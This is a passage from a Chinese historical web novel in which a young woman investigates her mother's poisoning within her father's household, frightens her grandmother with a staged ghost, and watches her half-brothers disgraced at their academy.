“想来是那婆子心怀怨毒,不知为何对主子动手,今儿个一早,她已经畏罪悬梁自尽了。”李珺对关怀素说,“玉儿你日后可以放心了。” 关怀素听完,禁不住一愣,而后迅速收敛神色,行了个礼,轻声说:“父亲费心了。” 回到院子里,关怀素立刻对丁妈妈说:“妈妈,你去叫小荷收拾东西,叫她去姨母那边住一阵子。” 丁妈妈茫然地说:“姑娘,小荷才中毒,很需要调养呢。” “正是如此,所以我才送她去安全的地方。”关怀素把前院发生的事情说了,丁妈妈听到那婆子畏罪自杀,立刻说,“这、这一条人命,竟这样轻飘飘没了?此事有猫腻啊!” “谁都看得出来,但是父亲的意思是不能查了。”关怀素立刻说,“这后头的人,左不过就是那几个,都是重要人。妈妈你年纪大,稳重,我和柳叶也是日日警惕,想来都不会出什么大事。但是小荷年纪小,她再机灵也还是个小孩儿,若再留在家里,只怕有人狗急跳墙之下还要有危险,所以我要先把她送走。” 丁妈妈听到这里,也觉得极是,昨儿那冰碗,换成她在的时候,定不会随便入口,偏小荷年纪小,没说清楚,关怀素还以为是丁妈妈拿回来的东西,随手就赏给了小荷。 阴差阳错,差点把小荷的命都搭进去了。 丁妈妈想到这里,也觉得把小荷送走也好,便立刻点头,进屋叫小荷打包。 没一会子,小荷怯怯地出来了。 关怀素见她的样子,便知道小孩儿是误会了,便笑着牵起她的手,温声说:“小荷,你去县主那里,替我照顾几个弟弟妹妹,好不好?” 小荷眼睛一亮,立刻说:“姑娘不是赶小荷走吗?” 关怀素一笑,说:“当然不是,是我素日事情多,没时间照拂姨母、照顾弟妹,小荷你替我去照顾他们好不好?” 小荷闻言,立刻开心了,连连点头,认真地说:“姑娘放心,小荷一定好好表现!” 众人见她经历磨难,虽小脸惨白,但还是十分精神,都放松许多,笑着上了马车,一路往程娘子那边去了。 她们出门,孙大娘子也听说了小荷中毒的事情,她去了前院,见到脸色很差的李珺,心中有成算,过去请安就笑着说明来意:“老爷,淑儿的婚事定下来了,我想问问老爷,大姑娘的婚事如何定?” 李珺立刻问:“你可是找到了合适的人家?” 又说:“淑儿也到了出嫁的日子,确实不能叫大丫头一个人孤零零的,倒叫妹妹都嫁在前头。” “正是这个道理呢。”孙大娘子笑着附和,“我寻访了一下,打探到了好几家人家,听说官洲巡抚家里的孙子去年刚中了举,是个才学兼备的郎君,与大姐儿十分相配。” 这官洲巡抚年纪很大,已经到了致仕的岁数,可是家中儿郎个个都不会读书,唯有这个孙子中了举,是家里唯一的希望。 这外头看着确实也是花团锦簇,对方也想趁着最后的荫蔽娶个得力妻室,李珺如今虽然致仕,但是常去王相府上,二女儿在侯府,三女儿定的是良娣的弟弟。 明眼人都看得出来,李珺不会这么倒台,因此官洲巡抚家中也是极力想促成这桩婚事。 最最紧要的是,孙大娘子小声说:“那家说了,大姐儿今年定下,年底便可成婚,明年老大人致仕,想回老家颐养天年,这儿郎也想谋个外放,好好地在外头历练一番。” “这个好!”李珺闻言大悦,脸色缓和下来,说,“你做事我放心。” 孙大娘子心中燃起希望,愈发老成持重,笑着点头说:“老爷只管放心,这事儿我亲自去盯着。只是我听说平安侯与婉玉来往甚密,不知婉玉能否看得上官洲巡抚家的郎君?” “我们家里绝不可与大长公主再牵连了!”李珺闻言脸色冷下来,说,“这事儿绝无可能,若是婉玉有什么想法,你与她说清楚,告诉她,哪怕是去做姑子,我也不会让她入侯府!” 孙大娘子得了这句保证,脸上笑容一时加深。 关怀素压根不知道家里的商量,她一大早带着小荷到了县主府,正好遇上宋兰的马车。 “姐姐,一大早过来,是有什么事儿?”宋兰见到她的马车,便停车挑了帘子问。 关怀素把送小荷的事情说了,宋兰立刻便意识到有猫腻,便压低声音问:“李家出什么事儿了?” “昨儿有人在冰碗里下毒,小荷差点没出事。”关怀素三言两语,说得宋兰瞪大眼睛。 她在舅舅家里遭受虐待,但是也没遇到过这种事情,闻言大惊失色,连声问关怀素:“姐姐可有事?” 又说:“此事难道就这么算了?那可是一条人命啊!” 关怀素轻叹一声,说:“我心里有数,妹妹放心。你这一大早又是去哪里,水道的事情不是忙完了么?” “我去良娣那边。”宋兰说了个关怀素未曾想到的答案。 关怀素愣住,轻声问:“妹妹和良娣最近来往的很多?” 宋兰点头,左右看看,小声在关怀素耳边咬耳朵,轻声说:“刚巧遇到姐姐了,良娣说最近想给姐姐下帖子,有事儿想和姐姐商量呢。” 关怀素不明所以,但是宋兰说这事儿兹事体大,她不敢越俎代庖先说,便问关怀素什么时候有时间,约了几日之后良娣递帖子,才急匆匆先走了。 关怀素虽然奇怪,但是自己也有事,便牵着小荷交给程娘子,又叮嘱一番,把小荷留下,又去了同仁堂,把手上的金蝉递出去,柜台上打盹的老人登时掀开眼皮,而后接了过去,说:“姑娘事儿可急?” “急,十分着急。”关怀素压低声音,轻声说,“您就说,等着救命。” 老人一听,立刻说:“姑娘放心,不出半月,这消息一定传到。” 关怀素闻言登时心中大悦,想着宁小娘身子还需要将养,于是干脆又挑了一支三十年的人参,抱着打算出门。 结果一出去,不知为何,撞上了一个脚步虚浮、脸色乌青的男人。 那男人被一撞之下,差点滚下台阶,好在关怀素反应快,反手一把抓住,才看清是个文质彬彬的男人。 “不好意思,唐突了姑娘,我老人家年纪大了,这些年缠绵病榻,方才竟一时眼睛也看不清楚了,姑娘无事吧?”这男子主动开口,关怀素一看,她久病成医,一眼便看出来,这男子没有撒谎。 她皱眉,轻声说:“这位老人家,可方便让我帮你探一下脉?” 老人笑着伸手,一身的书卷气愈发浓了,他温声说:“这有什么不方便的,我这身子不知多少医者看过,都说没得救了。” 关怀素便带着老者在走廊坐下,伸手探了一下老者的脉案,登时心中一沉。 这老者没撒谎,他这病沉疴难愈,已经是回天乏术。 “您老人家生下来先天不足,但是养得倒是好,本该无事。”关怀素收回手,叹了口气,轻声说,“只是您似乎这些年劳心劳力太过,似乎早年还受过伤,如今年岁起来之后,应是肺腑寒凉,遇不得风吧?” 老者眼睛一亮,立刻说:“姑娘竟说得如此准,那可有办法?” 关怀素摇摇头,说:“不瞒老人家,您这身子问题其实是与我年少时有些相似,心腑之疾最是难医。您应当也是遇到了厉害的医者,才能熬到现在,那医者如今如何说?” 老者苦笑一声,旁边的侍从便上前,说:“那医者前些年说给咱们老爷找办法去了,但是前些年回来,还是说没办法,只是不知为何,他留下的方子说吃到明年也无事,在此之前一定回来看看,但是这些日子我们老爷却愈发难起身了,姑娘可看得出毛病?” 侍从说着,从怀里拿出药方子递过来,说:“本来今儿我们也是打算出来问问老郎中的,药方还带着呢。” 关怀素立刻接过来一看,一目十行很快看完,又看了看脉案,然后说:“您最近可是有什么忧思烦闷之事,也不能安寝?我瞧着这脉案,您这些日子熬的伤了元气,若不改改方子,只怕熬不到年底了。” 这话说得侍从眼睛都瞪大了,怒声说:“你大胆!” 关怀素平静地看着老者,说:“老人家,您自己的身子,想来自个儿是有感觉的。” 老者疲惫地叹气,挥挥手叫侍从退下,温声说:“我有感觉,只是我家中许多事情还没安排好,实在是难以放下心来。” 可怜天下父母心,关怀素闻言,面露动容,咬了咬唇,轻声说:“老人家,您若是愿意,我倒是有个法子。” 老人登时一喜,立刻问:“如何?你只管说!” “把这药方子里的药换几味,用白附子、朱砂、生何首乌做引,以毒攻毒。”关怀素一开口十分惊人,她说,“只是一则这方法险,二则需要一支百年以上的人参为底,帮您温养身体,实在难得;但是把您肺腑里的郁气发出来之后,您或许还能多坚持三四个月。” “只有这么短的时间吗?”老人丝毫未曾管钱财抛费,只神色复杂地问。 关怀素心中不忍,只能轻声说:“老人家,这已经是我知道最好的办法了。除非、除非……” “除非什么,你只管说!”侍从着急地问,显然对主人家的身体十分上心。 “除非您能找到医仙公孙老先生,他若是能为您施针,或可与天再抢些日子。”关怀素叹气,轻声说。 侍从一下子泄气了,轻声说:“医仙的定魂十三针,便是阎王敲门也能拖延下来,天下谁不知道?但是谁能找到他呢?” 关怀素要下死力气,也是能找的,但是她自己有事在身,不可能为了陌生人去花几个月的功夫亲自去秦岭一代入山找人。 她只能露出爱莫能助的神色。 老人犹豫一下,问她:“姑娘,是不是懂定魂十三针的人,都有效果?” 关怀素点头,轻声说:“但是医仙的弟子不多,许多没悟性学习针法,您若是想再延寿一年半载,只怕还是得找到医仙本人。” 老人叹了口气,显然也觉得十分无望,便温声说:“小姑娘,你老实跟我说,若是我用了这药方,加起来还有多少寿数?” “大约能熬到年底,但是入冬之后,便难说了。”关怀素说得委婉。 实际上这老伯的身体,到了今年冬日,只怕是神仙难救。 “我素来也是夏日好过,冬日就缠绵病榻,只今年到了夏日还是三不五时病倒,一直未曾清爽起来,我便也知道自己的身子,大抵是不中用了。”老人叹了口气,显然明白了,便对关怀素说,“多谢小姑娘告知,好歹叫我心里有数,能把家里事情交代一番。” “哪里。”关怀素心中有些难过,轻声说,“老伯要放宽心,夏日也不可进寒凉东西,您这身子,若是能夏日一直不病、再把肺腑的寒淤排走,冬日许没事儿的。” 这便是纯属安慰了。 这老人叹了口气,笑了笑,对关怀素说:“多谢小姑娘赠药方,只是我今日出门却没带什么东西,却谢不了你了。” 关怀素瞧他神色阔达,十分有修养,显然是并不把生死放的太过厚重,心中愈发敬重这位长辈,便笑着说:“那明年遇到,您再谢我就是。” 老人笑着点头,关怀素起身告辞之后,他看着关怀素走远,温声说:“乐天是个眼光好的,这姑娘行事落落大方、性子温厚却不滥好人,是个良配。” 侍从赔笑,老人也不用他回答,轻声说:“刘仁没福气,配乐天倒是好。” 侍从便问:“老爷是想给安乐侯赐婚?” “再等等,我想看看,她会如何做,这小姑娘仁义可以,可是若是该下杀手的时候不敢下手,到底就软弱了,不适合做皇家媳妇。”老人笑着说,“赵白芷那孩子,最近在忙着给自个儿选人了吧?” 侍从点头,说:“良娣在与闺中手帕交来往,最近也频频见武将家的姑娘,在筹谋在身边安排些女官。” “不愧是赵家养的姑娘,一下子便看出要害了。”老人,也就是当今圣人说到这里,终于笑了笑,说,“她是个贤内助,钰儿身边有她,我总算也放心一些。” 侍从眼珠微动,便轻声说:“太子妃似乎在出手阻止,只是叫太子压下去了。” “王攀养的这个女儿。”圣人冷笑一声,却没继续说,只起身说,“我乏了,回宫吧。” “是。”侍从恭敬地扶着圣人起身。 “对了,派一批人,去跟着同仁堂的人。”圣人起身,一边吩咐,“护着闵志杰一起回来。” “是。闵大人上回回京,给您换了这个方子,又带了一批好药材,您吃着果然就好许多。这回回来肯定又有收获。”侍从说到这里,便高兴起来。 圣人心中也十分喜悦,能活,谁又想死呢? 不过他也不敢太奢望,只轻叹一声,说:“能再多撑一年半载,到底把狄夷解决了,给钰儿再争取二十年太平日子,我走的也才能放心啊。” “只可惜找不到公孙先生,否则又有何惧?”侍从说着,二人慢慢地上了马车,一路回宫了。 关怀素还不知道自己已经见了当今圣人,她把事情安排好,回家就听丁妈妈说了两件事情,一个是跛三从庄子上回来了,等着见大姑娘。 另一个,孙大娘子叫她回家后去东院,有事商量。 “说了什么事情没有?”关怀素问。 “雪沫说,白日大娘子与老爷商量大姑娘的婚事呢。”丁妈妈立刻便把早上的事情说了。 关怀素闻言,笑了笑,说:“走,我们去听听大娘子的打算,如此便知道到底是谁给我下毒了。” 第一百三十章 阖家计谋 东院,大娘子笑的十分开心,果然便说起官州刺史家的孙子来,把条件说了一通,笑着说:“这回真正是个打着灯笼都找不到的好婚事,定了明年外放,日后婉玉你不用伺候公婆站规矩,还可以当家做主,天底下哪里还能寻来这么好的人家?!” 这人家听着确实是花团锦簇,关怀素笑了笑,故作苦恼,说:“可是天高皇帝远的,也不知被外放到何处,何年何月才能回京呢?” “哎呀,京师有你父亲在,时机一到,自然就能回来了,你只管放心。”孙大娘子笑着回答。 就是因为父亲在,只怕这辈子都回不来了。 若真是姐姐,这婚事看着好,嫁出去之后一人在外,先不说其他,父亲一定会按着这郎君不肯升上去,到时候只怕再好的夫妻感情也要心生怨怼,自然也没好下场。 “我真是不明白,为何二妹妹和三妹妹都是嫁在京师,到了我,竟回回都是要找几千里外的。”关怀素故作有些不满意,捏着帕子说,“我想留在京师。” 孙大娘子的脸一下子冷了下来,看着关怀素,笑容一下子淡了,说:“听说你前些日子与平安侯走的很近,怎地,你是有信心能嫁给平安侯吗?” 这话说的,关怀素立刻想到周乐天倾慕姐姐的事情,心中一痛。 孙大娘子死死盯着她的神色,见此心中一松,登时大喜——她虽说的笃定,但是心中其实一直非常忌惮,若是周乐天真的喜欢这关家的姑娘,那李珺说什么都不管用,关怀素自然能如愿。 可是既然公主及笄之后就没来往动静,且平安侯瞧着也不是对她上心,那孙大娘子就有信心把她按死在家里。 想到这里,孙大娘子心中大定,立刻露出笑容,对关怀素说:“你父亲虽说了,家里不能出两个攀附权贵的女儿,否则听着不像话。可是你若是有心力争上游,我却不拦着你,到底也是我看着长大的。” 她说完,说:“可惜看你这样子,显然平安侯也没这个心思,既然如此,你何必耽误了自个儿?我给你找的这人家,虽不在京师,但是家里有根底,你又聪明,日后自然过得好,你想想是不是呢?” 瞧着这样子,若是涉世未深的姑娘,只怕还真以为她是对自己推心置腹了。 关怀素却听得出她避重就轻地诱哄,想到孙大娘子送来的首饰盒,心中一动,忍不住试探,轻声说:“便非得嫁人么?实在不成,我便去找外祖父去。” 孙大娘子听到这里,心想她到底是个小姑娘,还真以为代替姐姐进了李家门,就能简单地走? 李家进来简单,但是想走可不成。 要走,也得把最后一层油刮出来才行。 孙大娘子想到这里,便笑了笑,意有所指地说:“你是李家人,身上流着的是你爹的血,走遍天下这事儿也改不了。只要你是李家姑娘,总要听你爹安排的,否则便是忤逆不孝,这便是去了衙门,也是这个道理,你说是不是?” 关怀素听到这里,登时就明白,孙萍绝对早知道了她的真实身份。 但是关怀素却并不惊恐。 当今以孝治国,确实只要她是李家血脉,说到天上去,她也得受李家钳制。 可是这个前提是,姐姐与阿娘的死与这家里人无关。 而孙大娘子如此笃定自信,很显然,她不是个好人,却真的没对姐姐下过死手。 藏在暗处那个愈发癫狂,甚至开始下毒的人,已经呼之欲出了。 只有老夫人和崔小娘,她们二人多年主仆,这事儿应是一起谋划的。 关怀素心中一片清明,面上却故意装出有些紧张无措的样子。 孙大娘子心中得意,愈发温声说:“大姑娘回去好好想想吧。” 关怀素行礼,故作忧心忡忡地离开。 出门来,关怀素就对柳叶小声说:“孙萍知道我的身份了。” 柳叶大惊,她方才一直跟着,完全没听出来,忙问:“姑娘确定?那咱们怎么办?” “不怎么办,先看看跛三查了什么出来。”关怀素冷静地说。 跛三这回是查到了大进展,进门就兴奋地跪下抱拳说:“姑娘叫我去崔小娘那庄子上查当年害人的事情,前几日终于把人的嘴撬开了!” “你等等。”关怀素立刻示意,说,“架起屏风,把宁小娘叫过来。” 柳叶忙去了,跛三避在屏风后,宁小娘匆忙赶到,一脸莫名,还没来得及问,关怀素就说:“跛三,你继续说,你查到了什么?” 跛三立刻答应,说:“崔家那庄子上下人说,当时宁小娘有孕,崔小娘便给了她那方子,那方子都是正经的,郎中来了也查不出来。” “胡说!当时我请了郎中来,郎中说里面有味药物很寒凉,我流产就是因为这个!”宁小娘听到这里,才明白关怀素去查了什么,立刻激动地说。 “小娘别急,听他慢慢说。”关怀素拍拍宁小娘安抚道。 宁小娘冷静下来,捏紧了帕子,等着跛三继续说。 跛三得了吩咐,立刻说:“那味寒药不过是障眼法,真请了人来对峙,药量是正常的,不过是中和了燥热的药性,方子十分圆整。” “那难道小娘落胎,不是被人所害吗?”柳叶好奇地问。 “当然不是,是药被人调换了,里面的姜黄换成了莪术,且多添了一味药材,乃是三棱。”跛三一说,众人都是一惊。 关怀素略通医理,立刻说:“这三味药材炮制之后长得很像,且三棱破血、莪术破气,若是寻常月事或是有孕都不宜喝,会大出血不止!” 跛三听到这里,立刻说:“那下人也是如此说,这东西药渣拿去毁了,便是郎中也查不出来。” “那下人招供,说这药性子猛,若是连着灌,会破血而死,且怕人看出毛病,便只挑日子错着来,当初便是每隔几日给小娘送一回,而后便马上把药渣端走,叫崔小娘身边那姜妈妈拿去一起处理了。”跛三回的清清楚楚。 宁小娘登时眼泪唰地下来了,她哭着说:“果然是崔妙人,果然是崔妙人!” 关怀素也是心神剧震,因为她阿娘当时本来给治好,却又突然落红而死,和宁小娘是一模一样的毛病! 如此几乎可以确定,杀母之仇,就在崔妙人身上! 但是崔妙人到底是自己偷偷在做这件事,还是连母亲的死都有老夫人的手笔呢? 关怀素需要确认这件事情。 这些事情,虽都是崔妙人动手,但是老夫人未必就只是袖手旁观,关怀素想的清楚,安抚完哭泣的宁小娘,便握着宁小娘的手,说:“小娘若是信我,便先不要闹,再忍些时日,等我们一起发难!” 宁小娘反握住关怀素的手,恨声说:“一切都交给大姑娘了,若有什么安排,便只管叫我!” “你去,给孔妈妈传个话。”关怀素脑子里已经有了主意,晚上便对丁妈妈说。 丁妈妈悄悄出门,去了正院。 孔妈妈都快歇下了,见到丁妈妈在黑暗里打招呼,愣了一下,立刻悄没声息地过来,问:“老姐姐怎么来了?” 丁妈妈轻声说:“姑娘有个主意……” 附耳在了孔妈妈低声说。 孔妈妈听得眼里泛出异彩,连连点头,而后跟丁妈妈说:“老姐姐,我知道了,那就今夜子时,保管办好!” 二人如此约定,丁妈妈回来点点头,关怀素便笑了。 月上中天,关怀素却没睡,借着月光,看到镜子里的女子画了珍珠贴面妆,富贵至极的绿绫罗,外头罩了一件满绣云肩,头戴珍珠冠。 丁妈妈轻声说:“姑娘如此装扮,真如关娘子复生。” 关怀素低笑一声,而后说:“走,我们去见见故人吧。” 第一百三十一章 见鬼 没有提灯,关怀素悄无声息地从院子里出去,门口早有安排的婆子接应,一路到了老夫人院子门口。 王妈妈早在门口等着,立刻便拉开院子门放了关怀素进去。 而后一路带着关怀素进屋,路上轻声说:“严妈妈被灌醉了,今晚就孔妈妈和我值夜,姑娘放心。” 又有些疑惑地说:“姑娘,您在隔壁的房间,如此真的有用吗?” 关怀素笑着说:“妈妈一会儿不就知道了?” 说着,她悄无声息地摸到了老夫人隔墙的房间,而后关怀素便端坐在桌边的铜镜前,王妈妈在她不远处点燃了蜡烛。 隔壁的屋子里,突然传来孔妈妈疑惑的声音,说:“老夫人,镜子里怎么有人?!” 紧接着是被褥翕动的声音,而后是老夫人惊恐万分的声音,大吼:“怎么回事!什么妖孽!” 关怀素侧头,露出一个冷冷的笑容。 “关娘子!是关娘子!”孔妈妈发出惊恐的叫声。 老夫人愣了一下,过了几息,突然像被掐住脖子的鸡一般发出呼哧呼哧的声音,而后突然惊恐大吼着挥舞手臂往床里面缩,大吼:“快叫人,快叫人!那个贱妇来找我索命了!快叫人来帮忙啊!” “是关娘子,老夫人,是关娘子,您的儿媳啊!”孔妈妈连忙说,“许是缺少祭品呢,娘子你行行好,我们知道了,明儿个就去您的坟前祭拜!您只管放心去吧!” 关怀素侧头,微微摇了摇头。 对面出现的倒吊的女人也在摇头,孔妈妈带着哭腔的声音传来:“娘子,您在世的时候,老夫人对您也十分慈爱……” “滚!你这个贱妇,别以为我怕你!小弟,小弟你地下有知,帮阿姐再弄死这个贱妇吧!”老夫人却发出愤怒的声音,怒吼着,猛地没了声。 门打开,孔妈妈惊疑地说:“怎么办,老夫人吓晕过去了。” 关怀素立刻说:“辛苦你们,把墙壁上的孔堵上,一切按照先前安排的来!” 说完,关怀素悄无声息地从侧门一路溜出去,很快听到正院里声音大了起来。 没一会儿,有人来院子里说,老夫人受了惊吓,老爷叫家里人都过去陪着。 关怀素在屋里带着困倦回答知道了,实则冷静地拆了发冠,迅速换了身简朴装扮,像是才被惊醒就披了衣衫,匆匆去了正院。 的时候,所有人都乱糟糟的,她进了老夫人的房间,便见到老夫人满头白发乱糟糟的,李珺和崔小娘正坐在床头,孙大娘子、婉淑和宁小娘也在旁边陪着。 李辰文和李辰瑜还在书院,除了他们,显然这会子李家的主子全在这里伺候老夫人呢。 关怀素一进门,众人听到动静,便齐齐转头来看。 这一看,崔妙人和李珺都是瞪大眼睛,老夫人则是发出尖锐的大叫,大吼:“有鬼啊!有鬼!” 关怀素故作好奇地往前走,老夫人吓得尖叫:“有鬼,珺儿,她找我索命了!关素问找我索命来了!” “母亲,你在胡说什么?这是婉玉!”李珺也是惊了一下,但是他好歹不像是老夫人早已经被吓得六神无主,尤其是听到老夫人这话不对,他立刻出口打断。 关怀素故作无辜地问:“父亲,为什么祖母把我认成我娘便会吓到?” 她这一句话,登时把李珺问得哑住了。 还是崔妙人反应快,立刻尴尬地笑着说:“你父亲的意思是,你长得太像你娘,老夫人年纪大了,骤然看到以为是死去的人回来了,自然会惊吓到。” 老夫人今晚确实是惊吓得十分厉害,她到底年纪大了,这会子听到关怀素说话,明知道她是活人,却还是心中害怕,不敢看关怀素的脸,只尖声叫:“快叫她滚出去!快叫她滚出去!” 李珺也反应过来,立刻说:“你快回屋去,别在这里吓你祖母!” 关怀素一脸天真地说:“没事的,听说人死后有灵,只会找害自己的人报仇,父亲与祖母对母亲很好,多年日日点灯添香油地供奉母亲的灵位,想来阿娘也知道,哪怕是回家来,也必然心存善念。” 她这话不说还好,一说登时吓得老夫人又尖叫起来,李珺脸色黑如锅底,第一次没了慈爱神态,再次叫她快走,关怀素这才转身走了。 她一出来,柳叶便在她耳边说:“姑娘,娘子的死应该与老夫人脱不掉干系。” 关怀素点头,说:“她方才说那句,再弄死她……此事八九不离十了。” “老爷那样子,不像是完全不知道事儿的。”丁妈妈上年纪了,人老成精,她叹了口气,轻声说,“男人就是这个样子,哪怕是仙女下嫁,时日久了,也会心生怨怼,有时候也会恨不得对方快些死。” “是啊,他双手倒是干干净净,可那又如何呢?”关怀素冷笑一声,轻声说,“等我找到证据,我要送他们一家齐刷刷地去下大狱团聚,一个都不能跑。” 事情到这里,当年的真相已经查得差不多了。 只差母亲之死的证据了。 关怀素并不着急,很快,按照她的安排,最迟半个月,一切便能水落石出了。 在此之前,她只需安心蛰伏就是。 孔妈妈连着几件事情都办得极其漂亮,关怀素心中满意,这个月等到青黛出门子,关怀素不但送上了与宝丫一样的嫁妆,还另外赏了八仙庄附近五十亩地给青黛。 这可是钱都买不到的好东西!尤其有二十亩还是上等田! 关怀素只是习惯了赏罚分明,却没想到,她如此大方的出手,却叫有心人的心肠热了起来。 宝丫没几日找了过来,看到关怀素就跪下说:“姑娘可还记得满娘?” 关怀素愣了一下,才想起来,问:“是陈妈妈那个女儿?” 宝丫点头,压抑着兴奋说:“姑娘,前日满娘母子求到了我那里,我才知道老夫人授意,叫庄头一家把她和孩子都赶出来了,庄头已经另娶了。满娘跟我说了一件事情,她说,当初闵太医来家里给关娘子治病之后,关娘子其实已经大好了。但是当初她又再次发病,乃是因为悄悄换了大娘子的药。” “你说什么?”柳叶立刻追问,说,“说细一些!” 宝丫点头,说:“满娘说,那药是她娘亲手换的,关娘子压根没防备过家里亲人,老夫人过去的时候,陈妈妈亲手拿三棱和莪术替换了药方里的姜黄。” 宝丫压低声音,说:“当初老夫人就是用这一招,弄死了李家老太爷最宠爱的妾室,据说是老夫人家里传下来的老方法。” 关怀素深呼吸了一下平静心绪,才说:“满娘可曾亲眼所见?” “她说曾!”宝丫立刻说,“满娘说,可以出来为姑娘作证!” “好!”关怀素忍下激动,说,“你帮我照顾好她们母子!” 宝丫立刻点头,欢喜去了。 又过了两日,风平浪静,赵家送来定亲的礼物。 婉淑定亲礼的流程开始了,这回和婉蓉那仓促可不一样,正正经经的正头娘子嫁人,赵家可能是有意弥补婉蓉受的委屈,声势办得极大——赵二郎提亲登门的时候,带的礼就极厚,不但准备了大雁和长长的礼单,便是给婉淑私下还带了许多用得上的好东西。 这一来,哪怕是提前,旁人也只笑赵二郎年纪大些,着急娶媳妇罢了,也算是给足了婉淑和李家的面子。 这定亲不得不说还算风光,原本有些恼恨的婉淑也被哄好了,加上李珺看她懂事,又是给良娣当嫂子,在过大礼的时候,当着全家给了她一个铺面还给了一个小庄子,加上孙大娘子给她置办的一个五百亩的小庄子,嫁妆一时算得上十分丰厚,婉淑再稳重,当场也笑的止不住,连缠着李珺撒娇,哄得李珺心花怒放,又给添了五十匹上等布匹。 旁边的崔小娘差点维持不住笑容,若不是有公主赏赐,算下来婉淑的嫁妆竟比婉蓉的多了快一倍了。 崔小娘如今没有庄子,为了儿子还把女儿嫁妆也掏空了,如今愈发没了贴补,心中自然十分不满,却只能捏着帕子死死忍着。 连番忙碌了七八日,等到礼仪走完,婉淑的庚帖都换好,亲事终于确定在了九月初三。 这会子连番忙下来,已经七月末,离婚事也就两个月了。 偏就是这个时候,李辰文和李辰瑜出大事了,一夜之间,丢人丢的满京皆知! 大早上的,关怀素和宁小娘在看账本子,顺便用朝食,便听到外头传来吵闹声。 还没问,丁妈妈掀开帘子说:“姑娘、小娘,前院闹起来了,文哥儿和瑜哥儿都被书院退回来了!” “这是怎么回事?”宁小娘登时一惊,忙问,“是暂时退回来还是……” “是退学!山长说文哥儿和瑜哥儿无文人风骨,叫回家让家长好好约束。”云青也是一脸震惊地说。 “天啊!”宁小娘惊得帕子都掉地上了,实在是不怪她如此惊讶,乃是哪怕她是个农女,都知道被退学回家、师长如此评判,到底是多么可怕的一件事情。 这事儿一出,李辰文和李辰瑜的求学之路乃至未来的科举为官之路,只怕都会绝了。 家里只有这两个男丁,全数没了前程,也难怪闹得如此轰轰烈烈。 关怀素一笑,说:“小娘,我们去前院看看?” 宁小娘正惊恐,看关怀素满脸笑容,突然心中一动。 她叫云青出去等着,小声问:“大姑娘,这事儿是你做的?” 关怀素笑着说:“小娘如今管家了,在家里过得愈发好了,可还想再回去过那辛辛苦苦的日子?” 宁小娘一愣,看着关怀素笑意盈盈,思索了一下,而后慢慢地说:“荣华富贵确实迷人眼,若是得宠又能掌家,确实比在农家过日子好多了。” “那小娘就不要问。”关怀素并未变脸,只温声说。 宁小娘却慢慢神色坚毅起来,说:“不。我如今掌家,蒙大姑娘指点,也攒了些钱,日后若是大姑娘不嫌弃,能继续帮着我掌掌眼,叫我买几百亩好地,起个大房子,我也能过好日子,而且,这回是真正地当家做主。” 关怀素闻言,登时笑出声来,眨了眨眼睛,轻声说:“那确实是我做的。” 宁小娘开始害怕,只是本能反应,这会子听到李辰文和李辰瑜倒霉确实出自大姑娘手笔,登时幸灾乐祸起来,她笑着说:“走,咱们去看热闹去!” 关怀素加了件外披的长褙子,松松挽了头发,二人便往前院去。 前院这回更热闹了,下人们都垂眉敛目,不敢抬头,一个个噤若寒蝉。 雪沫在门口接她们,只轻声说:“老爷气得很,一回来就在打人,姑娘和小娘小心些。” 关怀素与宁小娘点头,收敛神色进了院子,便听到里面李珺在大吼:“你是不是疯了?你竟把赝品图拿去拜师?!” 二人走进去,便见李辰文失魂落魄地跪在地上,跟个死人差不多。 崔妙人也跪在地上,惊恐地抱着李辰文说:“文哥儿是受我连累了,那幅图是我买的!文哥儿他不知道呀老爷!老爷您让我去跟陆大儒道歉,我去给陆大儒道歉!” “陆大儒早已经把东西丢回来了!且还申斥了他们!”李珺这辈子都没这么丢过人,他拍着自己脸,说,“陆大儒办文会,我天没亮就亲自带着他们二人去登门拜师,结果这两个儿子倒是好,一个把拜师礼里掺了假画!一个偷听人家的策论,还抄了上去,偏还如此愚蠢,不知道人家早给陆大儒呈上去了!这下倒是好,我们李家满京师都出名了!我这老脸都丢光了!” 李珺大早上出发的时候多为家有麒麟儿而喜悦,被陆大儒厌弃的时候,心中就有多愤恨。 “瑜哥儿定然是被冤枉了!”孙大娘子也抱着面色发白的李辰瑜,怒声说,“瑜哥儿这孩子从小就老实本分,怎会做出偷人家策论的事情!瑜哥儿你说话,是不是人家偷了你的,你被冤枉了?你说话啊,你这孩子自小就老实嘴笨,你一定是被冤枉的!” “松烟,你说!”李珺瞧孙大娘子还不相信,冷笑一声,指着满身是伤的松烟说,“一回来我就审问了这两个小子,才知道他们都是厉害的,帮着主子欺上瞒下,我还真当他们是什么忠仆!” 松烟被打得皮开肉绽,但是不敢喊痛,只哭着对大娘子说:“大娘子,瑜哥儿不是故意的!当初、当初我们也是在恭房捡到了一张题目,没想到接下来陆大儒便问起来,哥儿只是想着露脸,不是故意的……” 却原来,第一回陆大儒来书院前,瑜哥儿在书院的恭房里捡到了一张纸,上面记载了许多策论十分精妙。 李辰瑜看完之后,只觉得耳目一新。 偏就那么凑巧,第二日陆大儒来选学生,问的问题恰好能与那纸上许多对得上,李辰瑜便依样画葫芦地回答,登时大出风头。 他这辈子一直活在大哥的阴影下,什么时候这么风光过?心中大喜,很是享受了父亲的关切与叮嘱之后,愈发不愿意失去。 可他并无什么真才实学,等到去了陆大儒办的文会之后,看到题目都紧张的冒汗,好在陆大儒的文会并不是考试,他便假作去恭房,实则是紧张的想不到办法。 却没想到运气那么好,在恭房听到隔壁有人和友人说话,说到陆大儒的题目,就有人笑着说:“这有何难?我已想好破题之法,等我出去再细细作答。” 而后竟和友人说了破题思路,而后便笑着去出恭了。 李辰瑜听完,心中大喜,立刻出来抢在这个人前面破题交了上去,他当时还十分得意,觉得老天爷都站在自己这边,可见是上天眷顾。 却没想到那说出恭回来再答题的人,不知为何竟提前交了答案。 当看到陆大儒对那篇策论大加夸赞的时候,李辰瑜就汗都下来了,等到陆大儒拿到他的答案,与他们书院的山长一起传阅之后,李辰瑜紧张的差点呕吐。 可是无论如何紧张,都无法阻止事情发生,山长当场逼问李辰瑜为何与另一位学子的答案一致,许多用词也一模一样? 李辰瑜答不出来,且他写完的时间明显比此人慢许多,加上那同窗说自己在恭房说的话,与李辰瑜出恭的时间对上,而后山长大怒,当场呵斥李辰瑜。 李辰瑜当场差点昏过去。 他收拾东西离开的时候,李辰文还在暗暗心下狂喜,他交上去的答案也算不错,虽陆大儒并未十分青眼,但是好歹不像李辰瑜那般出丑! 而且他还有小娘为了拜师特地给买的黄老的图,陆大儒说不定一开心,就把他收下了呢? 